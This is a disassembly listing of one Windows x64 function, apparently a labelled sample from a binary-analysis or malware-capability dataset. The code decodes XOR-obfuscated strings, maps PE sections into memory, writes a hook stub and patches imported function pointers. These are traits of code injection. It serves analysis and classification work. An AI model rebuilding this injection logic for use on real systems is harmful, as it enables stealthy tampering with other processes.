Function at 0x1400802a0
Capabilities:
Check for time delay via gettickcount
Encode data using xor
Write file on windows

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2ff0]
mov eax, 0x30f0
call fcn.140224ed0
sub rsp, rax
mov qword [rbp - 0x70], 0xfffffffffffffffe
mov qword [rsp + 0x3148], rbx
mov rax, qword [0x1402f3010]
xor rax, rsp
mov qword [rbp + 0x2fe0], rax
mov r13, r8
mov r12, rdx
mov rsi, rcx
movsxd r15, dword [rdx + 0x3c]
add r15, rdx
test r8, r8
jne 0x140080394
mov dword [rbp + 0x1fd0], 0x110f0e3e
mov word [rbp + 0x1fd4], reloc.WS2_32.dll_listen
mov byte [rbp + 0x1fd6], 1
xor ebx, ebx
mov ecx, ebx
nop dword [rax]
lea eax, [rcx + 0x7b]
xor byte [rbp + rcx + 0x1fd0], al
inc rcx
cmp rcx, 5
jb 0x140080320
mov byte [rbp + 0x1fd6], bl
movdqa xmm0, xmmword [0x1402d6cd0]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0xaccdc2
mov byte [rsp + 0x44], 1
nop dword [rax]
nop dword [rax + rax]
lea eax, [rbx + 0x7b]
xor byte [rsp + rbx + 0x30], al
inc rbx
cmp rbx, 0x13
jb 0x140080360
mov byte [rsp + 0x44], 0
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x1fd0]
lea rdx, [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x1400809a6
mov rdx, r13
call fcn.14007ffe0
mov r14, rax
test rax, rax
je 0x140080707
mov rcx, r13
call fcn.140085b40
mov qword [rbp + 0x1fd0], rax
test rax, rax
je 0x1400809a6
lea rax, [fcn.14007f690]
lea rcx, [0x14007f490]
sub rax, rcx
mov qword [rsp + 0x78], rax
mov ecx, dword [r15 + 0x50]
lea rbx, [rax + 0x6b]
add rbx, rcx
mov qword [rbp - 0x80], rbx
add r14, 0x1000
add rcx, r14
mov qword [rbp + 0x1fc8], rcx
lea rax, [rcx + 0x6b]
mov qword [rsp + 0x70], rax
mov rdx, r14
lea rcx, [rbp + 0xfa0]
call fcn.140085be0
mov rdx, rax
mov r8d, 0x1000
lea rcx, [rbp - 0x60]
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x1000
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x1fe0]
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rbx
call fcn.140087d48
mov rdi, rax
mov qword [rbp - 0x78], rax
mov r8, rbx
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov r8d, ebx
mov rdx, rdi
mov rcx, r14
call fcn.14007f230
xor ebx, ebx
mov qword [rsp + 0x68], rbx
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x58], rcx
mov rcx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x60], rcx
mov rax, qword [sym.imp.KERNEL32.dll_Beep]
mov qword [rsp + 0x50], rax
movzx edi, word [r15 + 0x14]
add rdi, 0x28
mov esi, ebx
cmp word [r15 + 6], bx
je 0x1400804c8
add rdi, r15
mov r8d, dword [rdi]
test r8d, r8d
je 0x1400804b9
mov edx, dword [rdi + 4]
add rdx, r12
mov ecx, dword [rdi - 4]
add rcx, r14
call fcn.14007f230
inc esi
add rdi, 0x28
movzx eax, word [r15 + 6]
cmp esi, eax
jne 0x1400804a0
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [r12], xmm0
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [r12 + 0x10], xmm1
mov qword [0x1402f59b8], r13
mov rax, qword [rbp + 0x1fd0]
mov qword [0x1402f59c2], rax
mov qword [0x1402f59d9], r14
mov rdi, qword [rsp + 0x70]
mov qword [0x1402f59e3], rdi
mov r8d, 0x1000
mov rdx, r12
mov rcx, r14
call fcn.14007f230
mov rsi, qword [rsp + 0x78]
mov r8d, esi
lea rdx, [0x14007f490]
mov rcx, rdi
call fcn.14007f230
mov r8d, WSAGetLastError
lea rdx, str.QRUVSWAPAQARASATAUAVAWH
mov rcx, qword [rbp + 0x1fc8]
call fcn.14007f230
mov ecx, 4
call fcn.140087a58
mov r9, rax
mov r8d, 0x40
mov rdx, qword [rbp - 0x80]
mov rcx, r14
call fcn.14007f190
mov ecx, 4
call fcn.140087a58
mov r9, rax
mov edx, 8
lea r8d, [rdx - 4]
mov rcx, r13
call fcn.14007f190
mov r8d, 8
lea rdx, [rbp + 0x1fc8]
mov rcx, r13
call fcn.14007f230
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, eax
mov qword [rbp + 0x1fbc], rbx
mov dword [rbp + 0x1fc4], ebx
mov dword [rbp + 0x1fa0], 0x64
mov ecx, dword [0x140692f90]
mov dword [rbp + 0x1fa4], ecx
mov qword [rbp + 0x1fa8], r14
lea rax, [rsp + 0x50]
mov qword [rbp + 0x1fb0], rax
mov dword [rbp + 0x1fb8], reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rbp + 0x1fbc], eax
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x1fd0]
mov r8d, reloc.WLDAP32.dll_Ordinal_41
lea rdx, [rbp + 0x1fa0]
mov rcx, qword [0x140692f88]
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp qword [rsp + 0x68], rbx
jne 0x1400806b9
add edi, 0x1b58
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, edi
ja 0x1400806b9
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rbp + 0x1fbc], rbx
mov dword [rbp + 0x1fc4], ebx
mov dword [rbp + 0x1fa0], 0x64
mov eax, dword [0x140692f90]
mov dword [rbp + 0x1fa4], eax
mov qword [rbp + 0x1fa8], r14
lea rax, [rsp + 0x50]
mov qword [rbp + 0x1fb0], rax
mov dword [rbp + 0x1fb8], reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rbp + 0x1fbc], eax
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x1fd0]
mov r8d, reloc.WLDAP32.dll_Ordinal_41
lea rdx, [rbp + 0x1fa0]
mov rcx, qword [0x140692f88]
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp qword [rsp + 0x68], rbx
je 0x140080623
mov ecx, 4
call fcn.140087a58
mov r9, rax
mov edx, 8
lea r8d, [rdx - 6]
mov rcx, r13
call fcn.14007f190
mov r8d, 0x1000
lea rdx, [rbp + 0x1fe0]
mov rcx, r14
call fcn.14007f230
lea r8d, [rsi + 0x6b]
mov rdx, qword [rbp - 0x78]
mov rcx, qword [rbp + 0x1fc8]
call fcn.14007f230
mov al, 1
jmp 0x1400809a8
mov dword [rbp + 0x1fd0], 0x110f0e3e
mov word [rbp + 0x1fd4], reloc.WS2_32.dll_listen
mov byte [rbp + 0x1fd6], 1
xor ebx, ebx
mov ecx, ebx
nop word [rax + rax]
lea eax, [rcx + 0x7b]
xor byte [rbp + rcx + 0x1fd0], al
inc rcx
cmp rcx, 5
jb 0x140080730
mov byte [rbp + 0x1fd6], bl
mov qword [rbp + 0x1fb0], rbx
mov qword [rbp + 0x1fb8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1fa0], bl
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rsi + r8], bl
jne 0x140080770
mov rdx, rsi
lea rcx, [rbp + 0x1fa0]
call fcn.14007c5d0
nop
movdqa xmm0, xmmword [0x1402d6bd0]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x3a484769
mov dword [rsp + 0x44], 0x4b25516d
mov dword [rsp + 0x48], 0xb5ae56
mov byte [rsp + 0x4c], 1
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 0x7b]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0x1b
jb 0x1400807c0
mov byte [rsp + 0x4c], 0
lea rax, [rsp + 0x30]
nop word [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x1400807e0
mov r8, qword [rbp + 0x1fb0]
mov rcx, qword [rbp + 0x1fb8]
mov rax, rcx
sub rax, r8
cmp rdi, rax
ja 0x1400808a1
lea rax, [rdi + r8]
mov qword [rbp + 0x1fb0], rax
lea rsi, [rbp + 0x1fa0]
cmp rcx, 0x10
cmovae rsi, qword [rbp + 0x1fa0]
lea rax, [rsp + 0x30]
add rax, rdi
cmp rax, rsi
jbe 0x14008085b
lea rax, [rsi + r8]
lea rcx, [rsp + 0x30]
cmp rcx, rax
ja 0x14008085b
lea rax, [rsp + 0x30]
cmp rsi, rax
ja 0x14008084e
mov r14, rbx
jmp 0x14008085e
lea rax, [rsp + 0x30]
mov r14, rsi
sub r14, rax
jmp 0x14008085e
mov r14, rdi
inc r8
lea rcx, [rsi + rdi]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
lea rdx, [rsp + 0x30]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8, rdi
sub r8, r14
lea rax, [r14 + rdi]
lea rdx, [rsp + 0x30]
add rdx, rax
lea rcx, [rsi + r14]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x1fa0]
jmp 0x1400808bf
mov qword [rsp + 0x28], rdi
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov rdx, rdi
lea rcx, [rbp + 0x1fa0]
call fcn.140086560
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae rdx, qword [rsp + 0x50]
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x1fd0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x14008094f
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14008094a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14008094a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008762c
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp + 0x1fb8]
cmp rdx, 0x10
jb 0x1400809a6
inc rdx
mov rcx, qword [rbp + 0x1fa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400809a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400809a1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008762c
xor al, al
mov rcx, qword [rbp + 0x2fe0]
xor rcx, rsp
call fcn.140087600
mov rbx, qword [rsp + 0x3148]
add rsp, 0x30f0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret